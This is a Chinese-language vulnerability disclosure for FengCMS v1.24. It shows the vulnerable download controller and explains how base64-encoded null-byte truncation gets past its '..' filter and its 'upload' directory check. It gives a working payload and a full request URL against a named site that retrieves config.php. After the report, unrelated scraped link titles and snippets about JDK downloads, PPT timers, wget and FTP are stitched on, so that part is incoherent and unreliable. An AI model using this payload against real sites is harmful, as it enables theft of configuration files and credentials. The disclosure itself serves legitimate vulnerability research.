### 简要描述:

之前fengcms修复了好几次这个问题,但依旧知识不对。不过到我这个应该就终结了,我会给出好的解决方案。这也不是厂商的问题,如果不是专门搞安全的人也很难考虑到这一点。

多说一句,fengcms送的礼物已经收到了,再次感谢!这种厂商要奖励,很负责!!

官方给出的测试站已经升到最新版了,我这里测试通过,已经可以下载config.php。

### 详细说明:

/app/controller/downController.php:

```

class downController extends Controller{

public function index(){

$_GET['file']=base64_decode($_GET['file']);

$_GET['file']=str_replace("..","",$_GET['file']);

$exp=explode("/",$_GET['file']);

if($exp[1]=="upload"){

if(file_exists(ROOT_PATH.$_GET['file'])){

header("Content-Type: application/force-download");

header("Content-Disposition: attachment; filename=".basename($_GET['file']));

readfile(ROOT_PATH.$_GET['file']);

}else{

echo '';

}

}else{

echo '';

}

}

}

```

看他是怎么处理的:

1.base64_decode解码

2.过滤..为空

3.将$_GET['file']用/分割成$exp,并取第二个($exp[1]),判断$exp[1]是否等于upload,等于才允许下载

4.将root_path和$_GET['file']组合成绝对路径,下载文件

如何绕过过滤,答案是\0截断。

首先,不管有没有全局addslashes或GPC,base64_decode就能无视之,引入一个\0,进行截断。

因为代码里取得是$exp[1]判断是否是"upload",所以我们可以把要下载的文件内容写在$exp[0]里,之后用\0截断掉,readfile的时候就能够把我要的config.php下载下来了。

所以罪魁祸首还是root_path是网站根目录,如果root_path是/upload目录的话,我想要下载config.php的话就必须要用../跳转到上层目录。

使用%00截断的条件是php版本小于5.3.4(左右吧,记不得),而官方给的测试站正好是5.2.x,所以可以通过测试,下载config.php。

### 漏洞证明:

首先测试一下之前的https://images.seebug.org/upload/../config.php还能不能下载:

[](https://images.seebug.org/upload/201407/16203849bac0a0083ee11ff42c0b0caeab83bfa3.jpg)

果断不能了。。。

那么将file改成这样:

```

echo base64_encode("\\config.php\x00/upload");

```

也就是:

http://guf521656.h163.92hezu.org/?controller=down&file=XGNvbmZpZy5waHAAL3VwbG9hZA

访问发现可以继续文件下载:

[](https://images.seebug.org/upload/201407/162039520744c06725507d6f48f3a80294031ada.jpg)

这是下载到的config.php:

[](https://images.seebug.org/upload/201407/16204033180c0fe9cf7953455cf688e6c4fdb634.jpg)

php下载源文件绕开下载地址,Fengcms 最新版v1.24任意文件下载(绕过过滤)相关推荐

  1. 的计时器设置_【教程】PPT课件中常见的计时器效果(2)——沙漏式计时器 | 源文件提供下载...

    往期推荐: [教程]几种常见的计时器效果(1)| 源文件提供下载 [资源]统编语文1-6年级上册专项复习练习题 [资源]转发起来!超精美全册课件下载 | 统编版小学语文五年级下册 大家好,这里是小课同 ...

  2. JDK1.6官方下载_JDK6官方下载地址

    来源:http://blog.myspace.cn/e/404726340.htm JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download/jdk6/6u ...

  3. JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download

    JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/downloa ...

  4. 关于Centos使用wget下载: 无法解析主机地址问题

    关于Centos使用wget下载: 无法解析主机地址问题 产生原因 解决方法 产生原因 dns的问题,需要配置dns服务器. 解决方法 执行echo 'nameserver 8.8.8.8'>& ...

  5. bootstrapvalidat cdn_bootstrapValidator插件下载、官网地址、免费CDN加速地址等

    bootstrapValidator插件下载.官网地址.免费CDN加速地址等 : 04-07 22:10 : 146次 : 0条 1赞 点赞 简介这篇文章为你提供bootstrapValidator插 ...

  6. 最新下载精密轨道数据地址!

    欧空局原网址停止服务,而且新网址不能用下载影像的账户,下面提供新地址和账户 精轨数据下载网址(新地址):https://scihub.copernicus.eu/gnss/#/home 账户密码皆为( ...

  7. ftp 和http 区别FTP地址与HTTP地址的区别FTP下载和HTTP下载的区别之一就在与此。

    目录 ftp 和http 区别 FTP地址与HTTP地址的区别 FTP下载和HTTP下载的区别之一就在与此. ftp 和http 区别 1.定义不一样 ftp是文件传输协议,http是超文本传输协议, ...

  8. QuartusII_13.0下载及破解工具地址

    转自: http://blog.csdn.net/springlustre/article/details/25008997 QuartusII_13.0下载及破解工具地址 QuartusII_13. ...

  9. 奥拉星插件flash下载手机版下载安装_终于等到你!安卓微信7.0.13内测版发布 支持夜间模式 附下载地址!...

    3月22日,iOS版微信迎来了7.0.12正式版更新,最大的亮点在于为iOS13设备加入了"深色模式"功能,虽然没有独立的控制开关,但可以跟随系统开启或关闭夜间模式.此外,iOS版 ...

最新文章

  1. hdu4115 2sat 石头剪刀布
  2. android studio 3.0新功能介绍
  3. Pwn环境配置(三)——ubuntu环境搭建(新)
  4. 倍增:喷泉 深度解析(洛谷P7167)
  5. hystrix熔断 简介_Hystrix简介
  6. Java讲课笔记27:RandomAccessFile与对象序列化
  7. KVM Tracing, perf_events
  8. 题目1006:ZOJ问题
  9. Akka源码分析-Remote-收消息
  10. 删除密码设置对象(PSO)
  11. Cadence软件license相关问题
  12. 合肥工业大学机器人技术五十六题
  13. 桌面文件突然不见了怎么恢复?
  14. Idea 2022 创建 Artifacts 运行 Tomcat 步骤
  15. mysql日期时间相关
  16. 思科Cisco packet tracer的实验之两个简单网络连接
  17. vs2010 sp1 安装Silverlight5后不能使用,提示需要安装Silverlight4
  18. 从头开始编写基于隐含马尔可夫模型HMM的中文分词器之一 - 资源篇
  19. 基于飞凌NXP i.MX6UL实现中央空调集中器
  20. FEM Classical Books

热门文章

  1. Kafka: Consumer
  2. 如何在今日头条做推广?今日头条推广怎么样?
  3. DIY Arduino计步器
  4. 星空银河html,[内蒙好星空]5个夜晚一人逛银河[有星云星系]
  5. Unity 最新UnityWebRequest下载,同时显示下载进度,和 显示网速,今天贴出来和大家分享
  6. ARM NVIC GIC
  7. binlog2sql 恢复工具使用
  8. 穆易天气app代码(一)
  9. python求15的因数_python学习第15期
  10. docker磁盘空间满了怎么清理